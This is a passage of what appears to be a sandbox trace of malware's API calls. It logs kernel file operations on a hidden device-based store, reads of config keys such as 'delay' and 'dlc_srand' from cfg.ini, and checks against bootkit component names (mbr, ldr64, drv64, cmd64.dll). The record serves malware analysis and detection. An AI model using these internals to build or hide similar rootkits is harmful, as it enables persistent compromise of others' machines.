Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.262] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.262] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.262] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.262] KeEnterCriticalRegion () [0125.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.262] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.262] IdePortDispatch () returned 0x103 [0125.263] KeWaitForMutexObject () returned 0x0 [0125.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.263] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.263] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.263] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.263] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.263] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6e10 [0125.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.263] KeLeaveCriticalRegion () [0125.263] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.263] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.263] KeEnterCriticalRegion () [0125.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.263] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.263] KeLeaveCriticalRegion () [0125.263] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.263] KeEnterCriticalRegion () [0125.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.263] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.263] IdePortDispatch () returned 0x103 [0125.263] KeWaitForMutexObject () returned 0x0 [0125.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.263] KeLeaveCriticalRegion () [0125.263] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.263] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.263] KeEnterCriticalRegion () [0125.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.263] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c01000 [0125.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.263] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.264] IdePortDispatch () returned 0x103 [0125.264] KeWaitForMutexObject () returned 0x0 [0125.264] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.264] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.264] IdePortDispatch () returned 0x103 [0125.264] KeWaitForMutexObject () returned 0x0 [0125.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.264] KeLeaveCriticalRegion () [0125.264] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.264] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.264] KeEnterCriticalRegion () [0125.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.265] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.265] KeLeaveCriticalRegion () [0125.265] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.265] KeEnterCriticalRegion () [0125.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.265] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.265] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.265] KeLeaveCriticalRegion () [0125.265] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.265] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.265] KeEnterCriticalRegion () [0125.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.265] ExFreePoolWithTag (P=0xfffffa8003bf6e10, Tag=0x0) [0125.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.265] KeLeaveCriticalRegion () [0125.265] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.265] ReleaseMutex (hMutex=0xf0) returned 1 [0125.265] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.265] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.265] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.265] KeEnterCriticalRegion () [0125.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.265] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.265] IdePortDispatch () returned 0x103 [0125.265] KeWaitForMutexObject () returned 0x0 [0125.265] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.265] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.265] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.265] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.265] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.265] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5b40 [0125.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.266] KeLeaveCriticalRegion () [0125.266] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.266] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.266] KeEnterCriticalRegion () [0125.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.266] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.266] KeLeaveCriticalRegion () [0125.266] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.266] KeEnterCriticalRegion () [0125.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.266] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.266] IdePortDispatch () returned 0x103 [0125.266] KeWaitForMutexObject () returned 0x0 [0125.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.266] KeLeaveCriticalRegion () [0125.266] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.266] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.266] KeEnterCriticalRegion () [0125.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.266] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c02000 [0125.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.266] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.266] IdePortDispatch () returned 0x103 [0125.267] KeWaitForMutexObject () returned 0x0 [0125.267] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.267] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.267] IdePortDispatch () returned 0x103 [0125.267] KeWaitForMutexObject () returned 0x0 [0125.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.267] KeLeaveCriticalRegion () [0125.267] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.267] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.267] KeEnterCriticalRegion () [0125.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.267] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.267] KeLeaveCriticalRegion () [0125.267] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.267] KeEnterCriticalRegion () [0125.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.268] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.268] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6bd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.268] KeLeaveCriticalRegion () [0125.268] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.268] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.268] KeEnterCriticalRegion () [0125.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.268] ExFreePoolWithTag (P=0xfffffa8003bf5b40, Tag=0x0) [0125.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.268] KeLeaveCriticalRegion () [0125.268] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.268] ReleaseMutex (hMutex=0xf0) returned 1 [0125.268] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.268] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.268] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.268] KeEnterCriticalRegion () [0125.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.268] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.268] IdePortDispatch () returned 0x103 [0125.268] KeWaitForMutexObject () returned 0x0 [0125.268] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.268] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.268] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.268] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.268] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.268] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6d10 [0125.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.268] KeLeaveCriticalRegion () [0125.268] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.268] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.268] KeEnterCriticalRegion () [0125.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.268] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.269] KeLeaveCriticalRegion () [0125.269] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.269] KeEnterCriticalRegion () [0125.269] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.269] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.269] IdePortDispatch () returned 0x103 [0125.270] KeWaitForMutexObject () returned 0x0 [0125.270] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.270] KeLeaveCriticalRegion () [0125.270] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.270] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.270] KeEnterCriticalRegion () [0125.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.270] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c03000 [0125.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.270] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.270] IdePortDispatch () returned 0x103 [0125.270] KeWaitForMutexObject () returned 0x0 [0125.270] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.270] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.270] IdePortDispatch () returned 0x103 [0125.271] KeWaitForMutexObject () returned 0x0 [0125.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.271] KeLeaveCriticalRegion () [0125.271] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.271] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.271] KeEnterCriticalRegion () [0125.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.271] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.271] KeLeaveCriticalRegion () [0125.271] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.271] KeEnterCriticalRegion () [0125.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.271] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.271] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.271] KeLeaveCriticalRegion () [0125.271] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.271] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.271] KeEnterCriticalRegion () [0125.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.271] ExFreePoolWithTag (P=0xfffffa8003bf6d10, Tag=0x0) [0125.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.271] KeLeaveCriticalRegion () [0125.271] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.272] ReleaseMutex (hMutex=0xf0) returned 1 [0125.272] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.272] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.272] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.272] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.272] KeEnterCriticalRegion () [0125.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.272] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.272] IdePortDispatch () returned 0x103 [0125.272] KeWaitForMutexObject () returned 0x0 [0125.272] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.272] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.272] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.272] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.272] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.272] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.272] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.272] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.272] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.272] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 